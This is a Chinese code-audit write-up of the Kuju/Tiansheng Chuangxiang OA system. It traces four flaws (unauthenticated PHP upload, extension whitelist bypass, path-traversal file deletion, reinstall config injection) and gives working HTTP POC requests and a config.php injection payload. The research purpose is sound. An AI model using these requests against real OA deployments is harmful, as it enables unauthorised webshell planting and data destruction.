以下内容仅供技术研究学习使用!
严禁用于非法操作!
切实维护国家网络安全,普及相关网络安全知识是信安从业者的义务!
介绍
天生创想OA办公系统是适用于中小型企业的通用型协同OA管理软件,融合了天生创想OA长期从事管理软件开发的丰富经验与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限制。
注:天生创想OA协同网络办公系统和苦菊OA这两个是一样的都存在以下问题
当前环境
Apache2.4.39
PHP版本5.3.29
版本:V2019,PHPOA V4.0
漏洞审计
0X01未授权任意文件上传
漏洞地址:D:phpstudy_proWWWkuju2019uploadUploadHandler.php
/Upload/index.php 有包含UploadHandler.php
分析index.php执行流程
包含了数据库配置文件连接数据库
最后包含UploadHandler.php文件实例化UploadHandler类
Userid函数判断是哪个用户上传的
打开UploadHandler.php找到漏洞函数
handle_file_upload函数存在任意文件上传未校验上传的后缀
简单看一下1062行生成文件名给upload_dir然后if判断是否不存在生成文件名一样的目录
实例化调用get_upload_path并传递后缀过去
判断是有后缀名没有就未空version没有值为false执行else语句块返回路径+文件名+后缀给file_path
判断文件,类型赋值给append_file再if判断文件是否是http post上传的
Echo输出临时文件和指定文件
1074行判断append_file为false执行move_uploaded_file函数移动文件把临时文件移动到指定的文件并且未校验cookie可以直接未授权上传
直接成功上传
Shell地址:http://www.kuju.com/data//uploadfile//1//1614235203.php
POC:
POST /upload/index.php?userid=1 HTTP/1.1
Host: www.kuju.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript,*/*; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:http://www.kuju.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554
Content-Length: 256
Origin: http://www.kuju.com
Connection: close
-----------------------------115858488212690034922831875554
Content-Disposition: form-data;name="files[]"; filename="1.php"
Content-Type: text/plain
<?php
echo 123;
phpinfo();
?>
-----------------------------115858488212690034922831875554—
0X02 任意文件上传
漏洞地址:D:phpstudy_proWWWkuju2019uploadclass.php
Upload.php处理文件上传打开upload.php
第6行包含了uploadclass.php并且实例化类
调用uploadclass.php upload_file的函数获取文件类型,名称,大小等
最后调用了seve函数打开uploadclass.php查看seve函数
跟进get_compare_extention()函数
get_compare_extention()函数调用了把extention_list变量用explode函数分割赋值给ext
追踪extention_list的值
在75行发现set_extention函数有赋值给extention_list先实例化类然后调用config_data把‘uploadtype’键赋值给了extention_list
Echo extention_list的值看看
‘uploadtype’的值都是后缀名
回到seve函数追踪check_extention()函数
check_extention()函数for循环ext后缀判断后缀是否是ext中的一个不是就输出允许的后缀extention_list
doc|docx|xlsx|jpg|gif|rar|txt|zip|pdf|xls|ppt|esp|cad|3ds|img|psd|pdf|ai|log|mdb|pot|csv|png
剩下的就是些无关紧要的东西了,只要‘uploadtype’键里的值可控就可以上传任意文件
在后台登录页-》系统设置-》附件上传类型:
添加新的后缀php,上传头像
http://www.kuju.com/data/uploadfile/1/20210225/20210225101410.php
成功getshell
0X03 任意文件删除
漏洞地址:D:phpstudy_proWWWkuju2019includedbbackup.class.php
调用了/mana/目录下的mod_data.php文件打开它
最后一行elseif判断do等于upload执行语句块
Echo 对象调用del函数删除成功就输出备份删除成功
追踪del函数
if判断传递过来的是否为数组然后foreach循环删除即使不是数组在333行再单独删除一次
删除文件未校验后缀和未过滤../,导致攻击者可以跨目录删除任意文件
默认备份地址是/data/db/在/db/目录外新建一个1.php
成功删除1.php
可利用任意文件删除导致系统重装删除cacheinstall.lock
POC:
POST/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: www.kuju.com
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://www.kuju.com/admin.php?ac=data&fileurl=mana&do=data_import
Content-Type:application/x-www-form-urlencoded
Content-Length: 37
Origin: http://www.kuju.com
Connection: close
Cookie:toa_auth=MQk4MWRiMDNkZTA5ZWYxZWIyYjc5NjBkNDNmMWEwY2U3MQ%3D%3D; my_expand_3=;my_expand_all_3=
Upgrade-Insecure-Requests: 1
choice[]=../1.php&do=%E5%88%A0+%E9%99%A4
0X04 重装系统Getshell
漏洞地址:D:phpstudy_proWWWkuju2019installinstall.php
判断用户是否填写完全了然后去创建数据库
然后到309行写文件
Fopen读取config文件赋值给fp追踪config变量是从那里过来的
在108行知道了config文件地址
311行filesize检查文件大小读取文件赋值给content接着打开config.php文件
最后用preg_replace检查替换file_put_contents写入到config.php中
把payload写进去:');phpinfo();//
到这个页面成功创建数据库也代表payload成功插入进去了
访问http://www.kuju.com/config.php
成功getshell打开config.php
这里没有包含include/common.php单引号就不会被反斜杠转义
利用条件php版本<=5.4.45因为 magic_quotes_gpc 5.4以上版本都被移除了
如果对方php版本>5.4也是可以利用的但是要在php.ini设置magic_quotes_gpc = Off
关闭gpc即可利用
=================================
精彩推荐
=================================
看到这了就点个关注支持以下吧,你的关注是我创作的动力。
公众号:Master学安全
原文始发于微信公众号(LCC316安全实验室):记一次对苦菊OA+天生创想OA协同办公系统的审计分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论